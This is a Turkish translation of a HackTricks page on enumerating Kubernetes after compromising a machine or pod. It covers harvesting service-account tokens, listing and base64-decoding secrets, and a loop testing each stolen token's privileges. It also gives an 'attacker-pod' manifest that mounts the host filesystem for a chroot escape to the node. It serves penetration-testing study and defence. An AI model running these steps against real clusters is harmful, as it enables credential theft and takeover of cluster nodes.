Kubernetes Enumeration

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Kubernetes Tokenları

Eğer bir makineye erişimi ele geçirdiyseniz, kullanıcının bir Kubernetes platformuna erişimi olabilir. Token genellikle KUBECONFIG ortam değişkeni tarafından işaret edilen bir dosyada veya ~/.kube içinde bulunur.

Bu klasörde, API sunucusuna bağlanmak için tokenlar ve yapılandırmalar içeren yapılandırma dosyaları bulabilirsiniz. Bu klasörde ayrıca daha önce alınmış bilgilerin bulunduğu bir önbellek klasörü de bulunabilir.

Eğer bir Kubernetes ortamında bir pod ele geçirdiyseniz, mevcut K8 ortamı hakkında tokenlar ve bilgiler bulabileceğiniz başka yerler de vardır:

Hizmet Hesabı Tokenları

Devam etmeden önce, Kubernetes'te bir hizmetin ne olduğunu bilmiyorsanız, bu bağlantıyı takip edin ve en azından Kubernetes mimarisi hakkındaki bilgileri okuyun.

Kubernetes belgelerinden alınan:

"Bir pod oluşturduğunuzda, bir hizmet hesabı belirtmezseniz, aynı ad alanında varsayılan hizmet hesabı otomatik olarak atanır."

ServiceAccount, Kubernetes tarafından yönetilen ve bir podda çalışan süreçlere kimlik sağlamak için kullanılan bir nesnedir. Her hizmet hesabının ona ilişkin bir sır vardır ve bu sır bir taşıyıcı belirteci içerir. Bu, iki taraf arasında güvenli bir şekilde talepleri temsil etmek için kullanılan bir JSON Web Token (JWT) yöntemidir.

Genellikle aşağıdaki dizinlerden biri:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

aşağıdaki dosyaları içerir:

  • ca.crt: Kubernetes iletişimlerini kontrol etmek için CA sertifikasıdır

  • namespace: Geçerli ad alanını belirtir

  • token: Geçerli podun hizmet belirtecini içerir.

Artık belirtece sahip olduğunuza göre, API sunucusunu KUBECONFIG ortam değişkeni içinde bulabilirsiniz. Daha fazla bilgi için (env | set) | grep -i "kuber|kube" komutunu çalıştırın.

Hizmet hesabı belirteci, sa.key dosyasında bulunan anahtar tarafından imzalanır ve sa.pub tarafından doğrulanır.

Kubernetes'te varsayılan konum:

  • /etc/kubernetes/pki

Minikube'de varsayılan konum:

  • /var/lib/localkube/certs

Sıcak Podlar

Sıcak podlar, ayrıcalıklı bir hizmet hesabı belirteci içeren podlardır. Ayrıcalıklı bir hizmet hesabı belirteci, gizli bilgileri listeleme, podlar oluşturma vb. gibi ayrıcalıklı görevleri yapma iznine sahip bir belirteçtir.

RBAC

RBAC'ın ne olduğunu bilmiyorsanız, bu bölümü okuyun.

Numaralandırma Hile Kağıdı

Bir K8s ortamını numaralandırmak için aşağıdakilere ihtiyacınız vardır:

  • Bir geçerli kimlik doğrulama belirteci. Önceki bölümde bir kullanıcı belirteci ve bir hizmet hesabı belirteci için nerede arama yapılacağını gördük.

  • Kubernetes API'nin adresi (https://host:port). Bu genellikle ortam değişkenlerinde ve/veya kube yapılandırma dosyasında bulunabilir.

  • İsteğe bağlı: API sunucusunu doğrulamak için ca.crt. Bu, belirtecin bulunduğu yerlerde bulunabilir. API sunucusu sertifikasını doğrulamak için kullanışlıdır, ancak kubectl ile --insecure-skip-tls-verify veya curl ile -k kullanarak bunu yapmanıza gerek yok.

Bu ayrıntılarla Kubernetes'i numaralandırabilirsiniz. API, bir şekilde İnternet üzerinden erişilebilir ise, bu bilgileri indirip platformu kendi makinenizden numaralandırabilirsiniz.

Ancak genellikle API sunucusu iç ağda bulunduğundan, erişimi ele geçirilen makineden API sunucusuna erişmek için bir tünel oluşturmanız veya kubectl ikilisini yüklemeniz veya curl/wget/herhangi bir şey kullanarak API sunucusuna doğrudan HTTP istekleri yapmanız gerekecektir.

list ve get fiilleri arasındaki farklar

get izinleriyle belirli varlıkların bilgilerine erişebilirsiniz (kubectl'deki describe seçeneğiyle). API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Eğer list iznine sahipseniz, bir varlık türünü listelemek için API isteklerini gerçekleştirmenize izin verilir (kubectl komutunda get seçeneği):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Eğer watch izniniz varsa, varlıkları izlemek için API isteklerini gerçekleştirmenize izin verilir:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Değiştiğinde (veya yeni bir tane oluşturulduğunda) bir Deployment'ın tam manifestini size döndüren bir akış bağlantısı açarlar.

Aşağıdaki kubectl komutları sadece nesneleri listelemek için nasıl kullanılacağını gösterir. Verilere erişmek istiyorsanız get yerine describe kullanmanız gerekmektedir.

Curl kullanarak

Bir pod içinden, birkaç çevre değişkeni kullanabilirsiniz:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Varsayılan olarak, pod kube-api sunucusuna kubernetes.default.svc alan adı üzerinden erişebilir ve kube ağına /etc/resolv.config dosyasında erişebilirsiniz, burada kubernetes DNS sunucusunun adresini bulacaksınız (aynı aralığın ".1" noktası kube-api uç noktasıdır).

kubectl Kullanarak

Token ve API sunucusunun adresine sahip olduğunuzda, burada belirtildiği gibi kubectl veya curl kullanarak erişebilirsiniz:

Varsayılan olarak, APISERVER https:// şemasıyla iletişim kurar

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

Eğer URL'de https:// yoksa, Kötü İstek gibi bir hata alabilirsiniz.

Burada resmi bir kubectl hile yaprağı bulabilirsiniz. Aşağıdaki bölümlerin amacı, erişim sağladığınız yeni K8s'yi sıralı bir şekilde numaralandırmak ve anlamaktır.

kubectl'nin gönderdiği HTTP isteğini bulmak için -v=8 parametresini kullanabilirsiniz.

MitM kubectl - kubectl'i Proxy olarak kullanma

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Mevcut Yapılandırma

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Eğer bazı kullanıcı kimlik bilgilerini çalmayı başardıysanız, bunları yerel olarak yapılandırabilirsiniz. Bunun için şunu kullanabilirsiniz:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Desteklenen Kaynakları Al

Bu bilgiyle, listeleyebileceğiniz tüm hizmetleri bileceksiniz

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Mevcut Yetkileri Al

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Yetkilerinizi kontrol etmenin başka bir yolu, https://github.com/corneliusweig/rakkess**** aracını kullanmaktır.

Kubernetes RBAC hakkında daha fazla bilgi edinmek için şu sayfayı ziyaret edebilirsiniz:

pageKubernetes Role-Based Access Control(RBAC)

Hangi yetkilere sahip olduğunuzu öğrendikten sonra, aşağıdaki sayfayı kontrol ederek bu yetkileri kötüye kullanıp yetkilerinizi yükseltebileceğinizi anlayabilirsiniz:

pageAbusing Roles/ClusterRoles in Kubernetes

Diğer rolleri almak

k get roles
k get clusterroles

Ad alanlarını al

Kubernetes, aynı fiziksel küme tarafından desteklenen çoklu sanal kümeleri destekler. Bu sanal kümeler ad alanları olarak adlandırılır.

k get namespaces

Sırları al

Kubernetes kümesindeki sırları almak için aşağıdaki komutu kullanabilirsiniz:

kubectl get secrets

Bu komut, kümedeki tüm sırları listeler. Sırların ayrıntılarını görmek için aşağıdaki komutu kullanabilirsiniz:

kubectl describe secret <secret_name>

<secret_name> yerine sırrın adını belirtmelisiniz. Bu komut, sırrın ayrıntılarını görüntüler, örneğin sırrın türünü, anahtarlarını ve değerlerini gösterir.

Sırların değerlerini görüntülemek için aşağıdaki komutu kullanabilirsiniz:

kubectl get secret <secret_name> -o jsonpath='{.data}'

Bu komut, sırrın değerlerini JSON formatında görüntüler. Değerleri çözmek için aşağıdaki komutu kullanabilirsiniz:

kubectl get secret <secret_name> -o jsonpath='{.data.<key>}' | base64 --decode

<key> yerine sırrın anahtarını belirtmelisiniz. Bu komut, sırrın belirtilen anahtarının değerini çözer ve görüntüler.

Sırların değerlerini görüntülemek için aşağıdaki komutu da kullanabilirsiniz:

kubectl get secret <secret_name> -o yaml

Bu komut, sırrın değerlerini YAML formatında görüntüler. Değerleri çözmek için aşağıdaki komutu kullanabilirsiniz:

kubectl get secret <secret_name> -o yaml | grep '<key>:' | awk '{print $2}' | base64 --decode

<key> yerine sırrın anahtarını belirtmelisiniz. Bu komut, sırrın belirtilen anahtarının değerini çözer ve görüntüler.

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Eğer sırları okuyabiliyorsanız, her bir token ile ilgili ayrıcalıkları almak için aşağıdaki satırları kullanabilirsiniz:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Hizmet Hesaplarını Al

Bu sayfanın başında tartışıldığı gibi, bir pod çalıştırıldığında genellikle ona bir hizmet hesabı atanır. Bu nedenle, hizmet hesaplarını, izinlerini ve nerede çalıştıklarını listelemek, bir kullanıcının ayrıcalıklarını yükseltmesine olanak sağlayabilir.

k get serviceaccounts

Dağıtımları Al

Dağıtımlar, çalıştırılması gereken bileşenleri belirtir.

.k get deployments
k get deployments -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Podları Al

Podlar, çalışacak olan gerçek konteynerlerdir.

k get pods
k get pods -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Hizmetleri Al

Kubernetes hizmetleri, bir hizmeti belirli bir bağlantı noktasında ve IP'de sunmak için kullanılır (aslında hizmeti sunan podlara yük dengeleyici olarak hareket eder). Bu, saldırmaya çalışabileceğiniz diğer hizmetleri bulabileceğiniz yerleri bilmek açısından ilginçtir.

k get services
k get services -n custnamespace

Düğümleri Al

Küme içinde yapılandırılmış olan tüm düğümleri alın.

k get nodes

API

kurl -v https://$APISERVER/api/v1/nodes/

DaemonSetleri Al

DaemonSetler, kümenin tüm düğümlerinde (veya seçilen düğümlerde) belirli bir pod'un çalıştığından emin olmayı sağlar. DaemonSet'i silerseniz, onun tarafından yönetilen pod'lar da kaldırılır.

k get daemonsets
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Cronjobu al

Cron işleri, crontab benzeri bir sözdizimi kullanarak bir eylem gerçekleştirecek bir pod'un başlatılmasını zamanlamak için kullanılır.

k get cronjobs

ConfigMap Al

configMap her zaman kubernetes'te çalışan uygulamalara sağlanan birçok bilgi ve yapılandırma dosyası içerir. Genellikle, diğer iç/dış hizmetlere bağlanmak ve doğrulamak için kullanılan birçok parola, gizli bilgi ve belirteç bulabilirsiniz.

k get configmaps # -n namespace
k get all

Podların tüketimini alın

k top pod --all-namespaces

Pod'dan Kaçma

Yeni pod'lar oluşturabiliyorsanız, onlardan düğüme kaçabilirsiniz. Bunun için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçmeniz ve ardından düğümün sistemine chroot yapmanız gerekmektedir. Var olan pod'ları referans olarak kullanabilirsiniz çünkü mevcut görüntüleri ve yolları gösterirler.

kubectl get pod <name> [-n <namespace>] -o yaml

Eğer belirli bir düğümde pod oluşturmanız gerekiyorsa, düğümdeki etiketleri almak için aşağıdaki komutu kullanabilirsiniz:

k get nodes --show-labels

Genellikle, kubernetes.io/hostname ve node-role.kubernetes.io/master etiketleri seçim için uygundur.

Ardından attack.yaml dosyanızı oluşturun.

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

orijinal yaml kaynağı

Bundan sonra pod'u oluşturun.

kubectl apply -f attacker.yaml [-n <namespace>]

Şimdi oluşturulan pod'a aşağıdaki gibi geçebilirsiniz:

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Ve son olarak, düğümün sistemine chroot yaparsınız.

chroot /root /bin/bash

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert)ile öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated